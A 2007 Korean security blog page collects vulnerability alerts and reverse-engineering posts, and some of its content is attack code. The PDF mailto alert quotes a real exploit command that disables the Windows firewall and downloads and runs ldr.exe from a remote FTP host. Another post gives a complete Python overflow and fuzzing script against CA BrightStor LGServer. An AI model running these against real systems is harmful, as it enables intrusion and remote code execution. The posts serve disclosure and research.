PDF 잘못된 URI 설정을 사용한 공격: PDF 파일 함부로 열지 말자

취약점 경보 2007.10.24 15:56

서 교환을 위해 자주 사용되는 pdf 파일을 이용한 취약점이 발견되었다.

리는 간단하게 다음과 같다. pdf에서 mailto 태그를 처리하는 루틴에서 %를 사용하여 명령이 escape되는 것 때문입니다.

mailto:test%../../../../windows/system32/calc.exe".cmd


약한 대상은 다음과 같다.

Windows Server 2003 and Windows XP with Internet Explorer 7 installed

Adobe 제품군 뿐만 아니라 Firefox,Outlook,Outlook Express,Netscape 웹브라우저,Skype까지 이 공격에 취약하다고 한다. 근본적인 문제는 IE7에 있고, ShellExecute 컴포넌트를 이용하는 모든 프로그램이 취약하다고 볼 수 있다.

미국 현지 시간으로 10 23 Full Disclosure에서 돌아 다니는 exploit command line이 공개 되었다. 익스플로잇은 특정 사이트의 ftp 사이트에 접속하여 ldr.exe라는 바이너리를 다운로드 하여 실행 시키는 역할을 한다.

mailt0:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo

off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo

binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1&

start ldr.exe&\" \"&\" "nul.bat"





PS. mailt0 == mailto



제 떠돌고 있는 악성 pdf 파일을 실행한 화면은 다음과 같다.








Pdf 취약점은 간단하게 exploit이 가능하므로 알지 못하는 사람으로 부터 전달된 pdf 파일은 되도록 열지 않는 것이 좋다.



Fixes

음 제품에 대한 업데이트를 설치할 수 있다.

Adobe Reader 8.1.1 update files

http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows

Acrobat 8.1.1 update files

http://www.adobe.com/support/downloads/product.jsp?product=1&platform=Windows

Adobe 8 버전 이하의 제품에 대한 패치는 현재 제공되지 않고, 어도비 공식 사이트에서는 레지스트리 설정을 변경하는 방법을 권고하고 있다.

내가 만든 패치: 2007/10/29 - [일/취약점 경보] - Adobe pdf 파일 공격에 대한 패치


References

http://spacebunny.xepher.net/hack/shellexecutefiasco/

http://www.heise-security.co.uk/news/97462

http://www.heise-security.co.uk/news/97246

http://www.heise-security.co.uk/news/97139

http://www.heise-security.co.uk/news/97094

http://www.heise-security.co.uk/news/96982

http://www.heise-security.co.uk/news/93470

http://www.microsoft.com/technet/security/advisory/943521.mspx

http://blogs.technet.com/msrc/archive/2007/10/10/msrc-blog-additional-details-and-background-on-security-advisory-943521.aspx

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3896

http://www.securityfocus.com/bid/25748

http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1275885,00.html?track=sy160&asrc=RSS_RSS-10_160

http://seclists.org/fulldisclosure/2007/Oct/0730.html

http://it.slashdot.org/article.pl?sid=07/10/18/1533222&from=rss






신고

Multiple Vulnerabilities in CA ARCserve for Laptops & Desktops

리버스 엔지니어링 2007.10.22 11:31

아주 오래전 우연히 발견한 버그...
http://research.eeye.com/html/advisories/published/AD20070920.html

거의 일년이 다되어서 포스팅 된듯하다.
간단히 퍼저를 만들어 보자면 다음과 같다.

#CA BrightStor LGServer.exe Fuzzer
import os
import sys
import socket
import re
import time

def MakeCommandStr(command,arguments):
  body=command
  for argument in arguments:
   body+="~~"+str(argument)
  return "%.10d"%len(body)+body

def FuzzyCommand(target,command_info):
 debug=2
 sockAddr = (target, 1900)
 tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 tsock.settimeout(3)
 tsock.connect(sockAddr)
 packets=[]
 packets.append(MakeCommandStr(command_info[0],["A"*3000]))
 for packet in packets:
  if debug>0:
   print "="*80
   print "Sending: ",packet
  tsock.send(packet)
  response = tsock.recv(1024)
  if debug>0:
   print "Got: ",response
   print "\n\n"
 tsock.close()

def SendRXRequests(target,method='Passwd Integer Overflow',Command="",argument_list=None):
 sockAddr = (target, 1900)
 tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 tsock.settimeout(10)
 tsock.connect(sockAddr)
   
 packets=[]
 if method=='Login Overflow':
  passwd_str="7631F40AA4F38B3007EBA24153F08EDB02"
  packets.append(MakeCommandStr("rxrLogin",["administrator"+"A"*1000,len(passwd_str)]))
  packets.append(passwd_str)
 elif method=='Passwd Integer Overflow':
  packets.append(MakeCommandStr("rxrLogin",["administrator","18"]))
  packets.append("000000000000000000")
 elif method=='Passwd Test':
  passwd_str="7631F40AA4F38B3007EBA24153F08EDB02"
  packets.append(MakeCommandStr("rxrLogin",["administrator",str(len(passwd_str))]))
  packets.append(passwd_str)
 elif method=='Passwd Stack Overflow':
  passwd_str="A"*4*5000+"02"
  packets.append(MakeCommandStr("rxrLogin",["administrator",str(len(passwd_str))]))
  packets.append(passwd_str)
 elif method=='Passwd Length Integer Overflow':
  #Not working well
  passwd_str="AAAA"
  packets.append(MakeCommandStr("rxrLogin",["administrator",0xffffffff]))
  packets.append(passwd_str)
 elif method=='Fuzzying':
  packets.append(MakeCommandStr(Command,argument_list))
 
 for packet in packets:
  print "="*80
  print "Sending: ",packet
  tsock.send(packet)
  response = tsock.recv(1024)
  print "Got: ",response
  print "\n\n"
   
 tsock.close()

if __name__ == '__main__':
 try:
  target = sys.argv[1]
 except IndexError:
  print 'Usage: %s <target>' % sys.argv[0]
  sys.exit(-1)
 
 Methods=[]
 Methods.append(['Login Overflow','',[]])
 Methods.append(['Passwd Stack Overflow','',[]])
 Methods.append(['Passwd Integer Overflow','',[]])
 #Methods.append(['Passwd Length Integer Overflow','',[]])
 Methods.append(['Fuzzying',"rxsClearPassword",["A"*3000]])
 Methods.append(['Fuzzying',"rxsSetActive",["A"*3000]])
 Methods.append(['Fuzzying',"rxsRenameUser",["A"*3000,"A"*3000]])
 Methods.append(['Fuzzying',"rxsDeleteUser",["A"*3000]])
 Methods.append(['Fuzzying',"rxsSetProtected",["A"*3000,"A"*3000]])
 Methods.append(['Fuzzying',"rxsSetupRestoreUser",["A"*3000,"A"*3000,"A"*3000,"A"*3000,"A"*3000,"A"*3000,"A"*3000,"A"*3000]])
 Methods.append(['Fuzzying',"rxsDeleteFile",["A"*3000]])
 Methods.append(['Fuzzying',"rxcReadBackupSetList",["A"*3000]])
 Methods.append(['Fuzzying',"rxcCriticalSection",["A"*3000]])
 Methods.append(['Fuzzying',"rxsGetUserInfo",["A"*3000]])

 while 1:
  number=0

  print '='*50
  print 'BrightStor ARCserve Backup for Laptops and Desktops Killer:'
  print 'CA BrightStor LGServer.exe Fuzzer'
  print ''
  for [type,func,arg] in Methods:
   number+=1
   print number,type,func
  print ''
  print 0,'Exit'
  print ''
  print ''
   
  method_number=input("Which method do you want?")
  try:
   print int(method_number)
   if method_number==0:
    break
   SendRXRequests(
    target,
    method=Methods[method_number-1][0],
    Command=Methods[method_number-1][1],
    argument_list=Methods[method_number-1][2])
  except:
   pass

신고

2007년 10월 MS 패치 분석

취약점 경보 2007.10.12 16:22

2007 10 MS 패치중에서 영향력이 있는 것만 골라서 정리해 보았다.



Vulnerabilities

CVEs

Links

Affected Component

Criticality

Patch

Comment

CVE-2007-2228 Vulnerability in RPC Could Allow Denial of Service




BUGTRAQ:20071010 ZDI-07-055: Microsoft Windows DCERPC Authentication Denial of Service Vulnerability

ZDI-07-055 Microsoft Windows DCERPC Authentication Denial of Service Vulnerability

RPC

Important

MS07-058

DOS이라서 Important Level인듯함. 리모트에서 시스템을 크래쉬 시킬 수 있음.


CVE-2007-3897 Cumulative Security Update for Outlook Express and Windows

Microsoft Windows Mail and Outlook Express NNTP Protocol Heap Overflow


Outlook Express, Windows Mail

Critical

MS07-056

NNTP 서버로부터의 응답을 통한 클라이언트의 힙오버플로우로서 exploit을 통한 사용자의 최소한의 개입(웹페이지 방문)으로 exploit이 가능하다.



Patches

Number

Name

Criticality

MS07-058

Vulnerability in RPC Could Allow Denial of Service (933729)

Important

MS07-056

Security Update for Outlook Express and Windows Mail (941202)

Critical









Technorati : , , , ,

신고

Basic NTLMSSP Parsing SchemeLMO TypeNTLMSSP Message

리버스 엔지니어링 2007.10.11 15:47

Basic NTLMSSP Parsing Scheme


LMO Type

Field Name

Length

Value

Length

USHORT

Length of the message

Maxlen

USHORT

Maximum length of the message

Offset

DWORD

Offset of the start of the message



NTLMSSP Message

Field Name

Length

Value

NTLMSSP identifier

Fixed: 8

Ascii "NTLMSSP"+0x0

NTLM message Type

DWORD


Lan Manager Response

LMO Type

Binary

NTLM Response

LMO Type

Binary

Domain name

LMO Type

Unicode w/o NULL termination

User name

LMO Type

Unicode w/o NULL termination

Host name

LMO Type

Unicode w/o NULL termination

Session Key

8 Bytes


Flags

DWORD











신고

Driver Loader

보안, 개발 도구들 2007.09.26 18:27

커널 드라이버 개발 시에 많은 난관 들 중의 하나가 드라이버 로딩입니다.

제로는 서비스를 등록하듯이 드라이버도 레지스트리에 등록이 되어야 합니다. 그러한 과정을 대부분 Service API를 써서 해결하고는 합니다. 하지만, 개발 과정에서 그러한 부분까지 모두 신경 쓰기에는 너무 잡다한 면이 있습니다. 그러할 경우에 간단히 수동으로 아무런 설정 없이 드라이버를 로드해 주는 툴이 있습니다. 바로 "Driver Loader"입니다.

OSR에서 배포하는 툴로써, 음 링크에서 다운로드 가능합니다.


http://www.osronline.com/article.cfm?article=157




특히 V2.3에서 minifilter에 대한 지원이 추가 되었습니다.


What's new in Driver Loader, V2.3

Add support for MiniFilters, x64 bit support, Supports non-PnP (legacy) drivers only



압축파일을 풀면, OSRLOADER.exe라는 실행파일이 있습니다. 이 파일과 드라이버만 타겟 머신에 복사하고 바로 드라이버 로딩이 가능합니다.



x64 Vista 머신에서발단계에 있는 avfilter.sys라는 테스트용 드라이버를 로드해 보았습니다.

Inf 파일을 이용한 인스톨등의 과정을 생략한채 단지 드라이버 파일만으로도 간단히 기능을 테스트 해 볼 수 있었습니다. 단 테스트용 드라이버가 사인되지 않았을 경우에는 부팅시 F8을 누르고 "Disable Driver Signature Enforcement" 옵션을 선택하여야 합니다.














신고

Yahoo! Webcam ActiveX 취약점에 대한 디스어셈블리

리버스 엔지니어링 2007.09.25 18:36

Yahoo! Webcam ActiveX 취약점에 대한 디스어셈블리.

음 링크에서 소개되고 있는 취약점에 대한 개인적인 disassembly입니다.

http://research.eeye.com/html/alerts/zeroday/20070606.html

call strcpy를 하는 부분에서 버퍼 오버플로우가 발생하게 됩니다.. 이 루틴의 여러 종류의 COM 메쏘드를 통해서 불리울 수 있다.

exploit http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0131.html http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0133.html 참조하기를 바랍니다.




Disassembling

ywcvwr

02700000 02723000 ywcvwr C (export symbols) ywcvwr.dll


.text:03971000 ; Input MD5 : 75BB9620F65D004B02331B6EE87DEEA7

.text:03971000

.text:03971000 ; File Name : C:\Program Files\Yahoo!\Messenger\ywcvwr.dll

.text:03971000 ; Format : Portable executable for 80386 (PE)

.text:03971000 ; Imagebase : 10000000

.text:03971000 ; Section 1. (virtual address 00001000)

.text:03971000 ; Virtual size : 00015356 ( 86870.)

.text:03971000 ; Section size in file : 00016000 ( 90112.)

.text:03971000 ; Offset to raw data for section: 00001000

.text:03971000 ; Flags 60000020: Text Executable Readable

.text:03971000 ; Alignment : default

.text:03971000 ; OS type : MS Windows

.text:03971000 ; Application type: DLL 32bit

.text:03971000


Base in File: 03971000

Loaded: 02700000



Point of Interest: 027067bc

-02700000=67bc


03971000+67bc=39777BC- 00001000= 39767BC


.text:039767A2 push eax ; char *

.text:039767A3 push 3FFh ; cbData

.text:039767A8 lea eax, [ebp-434h]

.text:039767AE push eax ; lpData

.text:039767AF push offset ValueName ; "WebcamServer"

.text:039767B4 lea ecx, [ebp-34h]

.text:039767B7 call sub_39731E9

.text:039767BC mov eax, [esi+2FCh]


0397676B

.text:0397676B or dword ptr [ebp-4], 0FFFFFFFFh

.text:0397676F test eax, eax

.text:03976771 mov [esi+2FCh], eax

.text:03976777 jz loc_3976867

.text:0397677D push 80000001h

.text:03976782 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager\\"

.text:03976787 lea ecx, [ebp-34h]

.text:0397678A call sub_397324C

.text:0397678F lea ecx, [esi+220h]

.text:03976795 mov dword ptr [ebp-4], 1

.text:0397679C call ds:?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(void)


call sub_39731E9

.text:039767A2 push eax ; char *

.text:039767A3 push 3FFh ; cbData

.text:039767A8 lea eax, [ebp-434h]

.text:039767AE push eax ; lpData

.text:039767AF push offset ValueName ; "WebcamServer"

.text:039767B4 lea ecx, [ebp-34h]

.text:039767B7 call sub_39731E9

.text:039767BC mov eax, [esi+2FCh]

.text:039767C2 mov ebx, [eax]


call sub_39731E9

.text:0397C913 push 80000001h

.text:0397C918 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager\\"

.text:0397C91D lea ecx, [ebp-30h]

.text:0397C920 call sub_397324C

.text:0397C925 push offset aWebcam_yahoo_c ; "webcam.yahoo.com"

.text:0397C92A push 63h ; cbData

.text:0397C92C lea eax, [ebp-94h]

.text:0397C932 push eax ; lpData

.text:0397C933 push offset ValueName ; "WebcamServer"

.text:0397C938 lea ecx, [ebp-30h]

.text:0397C93B mov byte ptr [ebp-4], 11h

0397C93F call sub_39731E9

sub_39731E9

.text:039731E9 ; int __stdcall sub_39731E9(LPCSTR lpValueName,char *lpData,DWORD cbData,char *)

.text:039731E9 sub_39731E9 proc near ; CODE XREF: sub_397671E+99#p

.text:039731E9 ; sub_397C7C5+17A#p

.text:039731E9

.text:039731E9 Type= dword ptr -8

.text:039731E9 hKey= dword ptr -4

.text:039731E9 lpValueName= dword ptr 8

.text:039731E9 lpData= dword ptr 0Ch

.text:039731E9 cbData= dword ptr 10h

.text:039731E9 arg_C= dword ptr 14h

.text:039731E9

.text:039731E9 push ebp

.text:039731EA mov ebp, esp

.text:039731EC push ecx

.text:039731ED push ecx

.text:039731EE and [ebp+Type], 0

.text:039731F2 push esi

.text:039731F3 mov esi, ecx

.text:039731F5 lea eax, [ebp+hKey]

.text:039731F8 push eax ; phkResult

.text:039731F9 lea ecx, [esi+4]

.text:039731FC call ds:?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(void)

.text:03973202 push eax ; lpSubKey

.text:03973203 push dword ptr [esi] ; hKey

.text:03973205 call ds:RegOpenKeyA

.text:0397320B test eax, eax

.text:0397320D pop esi

.text:0397320E jnz short loc_3973232

.text:03973210 lea eax, [ebp+cbData]

.text:03973213 push eax ; lpcbData

.text:03973214 push [ebp+lpData] ; lpData

.text:03973217 lea eax, [ebp+Type]

.text:0397321A push eax ; lpType

.text:0397321B push 0 ; lpReserved

.text:0397321D push [ebp+lpValueName] ; lpValueName

.text:03973220 push [ebp+hKey] ; hKey

.text:03973223 call ds:RegQueryValueExA

.text:03973229 push [ebp+hKey] ; hKey

.text:0397322C call ds:RegCloseKey

.text:03973232

.text:03973232 loc_3973232: ; CODE XREF: sub_39731E9+25#j

.text:03973232 cmp [ebp+Type], 1

.text:03973236 jz short loc_3973245

call strcpy

.text:03973238 push [ebp+arg_C] ; char *

.text:0397323B push [ebp+lpData] ; char *

.text:0397323E call strcpy

.text:03973243 pop ecx

.text:03973244 pop ecx

.text:03973245

.text:03973245 loc_3973245: ; CODE XREF: sub_39731E9+4D#j

.text:03973245 mov eax, [ebp+lpData]

.text:03973248 leave

.text:03973249 retn 10h

.text:03973249 sub_39731E9 endp






신고

인터넷 개인 정보 뒷조사 도구-말티고(Maltego)

엔지니어링 2007.09.25 17:18

2007년 블랙햇에서 잠시 소개 되었던 Paterva라는 툴이 Maltego라는 이름으로 다시 나왔다.GUI와 웹인터페이스 버전이 존재하는데 GUI는 다음과 같은 모습을 띄고 있다.지만 현제 GUI 버전은 잠시 중지 된 듯하다.
잠시 사용해 보니 검색 기능이 너무 강력하다 못해 위험한 수준이다. 오용되면 상당한 문제를 일으킬 만한 툴이다.

http://www.paterva.com/web/Maltego/




인터페이스 버전으로 단어와 이메일 주소, 도메인 이름을 사용하여 인터넷 사용자들에 대한 뒷조사가 가능하다.



신고

MS 06-074에 대한 Diffing Result

리버스 엔지니어링 2007.09.25 16:39

MS 06-074에 대한 Diffing Result

MS06-74 snmp 메시지 처리와 관련한 취약점이다.

edi+5ch의 값에 대한 0a5h와의 비교 부분이 추가된 것을 볼 수 있다.








신고

티스토리 툴바